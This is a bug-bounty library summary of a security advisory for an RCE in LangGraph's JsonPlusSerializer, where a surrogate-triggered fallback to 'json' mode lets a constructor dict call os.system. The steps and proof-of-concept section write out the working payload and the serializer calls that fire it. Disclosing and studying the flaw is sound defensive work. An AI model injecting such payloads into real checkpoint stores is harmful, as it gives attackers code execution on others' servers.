# LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer

LangGraph's JsonPlusSerializer fell back to "json" mode on surrogate chars, letting attacker-supplied constructor payloads execute arbitrary Python during checkpoint deserialization.

- Payout: Research
- Severity: high
- Program: LangGraph
- Found by: joernchen
- Disclosed: 2025-11-05
- CVE: CVE-2025-64439
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wwqv-p2pp-99h5
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-wwqv-p2pp-99h5
- Tags: area:ai domain:ai domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:deserialization vuln:rce

**Target:** langgraph-checkpoint JsonPlusSerializer (checkpoint persistence)
**Root cause:** When msgpack serialization failed on illegal Unicode surrogates, the serializer fell back to "json" mode, whose deserializer reconstructs custom objects via a `lc==2`/`type=="constructor"` format with no allow-list, invoking arbitrary importable callables.
**Steps:**
1. Persist a checkpoint containing a value with an illegal surrogate (e.g. `"\ud800"`) to force the msgpack→json fallback.
2. Include an attacker-controlled dict `{"lc": 2, "type": "constructor", "id": ["os", "system"], "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"}}` in the checkpointed state.
3. On the next `graph.invoke`, the checkpointer deserializes the stored payload via `JsonPlusSerializer.loads_typed`, resolving `id` to `os.system` and executing `kwargs`.
4. Verify code execution by the created `/tmp/pwnd.txt`.
**How found:** Reporter examined jsonplus.py and noticed the msgpack→json fallback triggered by illegal Unicode surrogates, then that json-mode deserialization supports a constructor format reconstructing arbitrary objects without restriction.
**Exploitation:** Attacker needs the ability to write untrusted data into a checkpoint (e.g. user-supplied state). The malicious constructor dict is persisted in the first invoke; the second invoke loads the checkpoint and executes `os.system(command)` during deserialization.
**Insight:** Serialization fallback paths are a classic weak link: when a safe format fails and a more permissive one takes over, the permissive deserializer's object-reconstruction features (constructor tags, `id` paths) become reachable. Grep for try/except fallbacks between serializers and check whether the fallback format supports arbitrary class instantiation.

## Proof of concept (copied exactly from the original report)

**Malicious constructor payload executing os.system**

```
attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
```

**Direct serializer dumps/loads exploit**

```
serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)
```

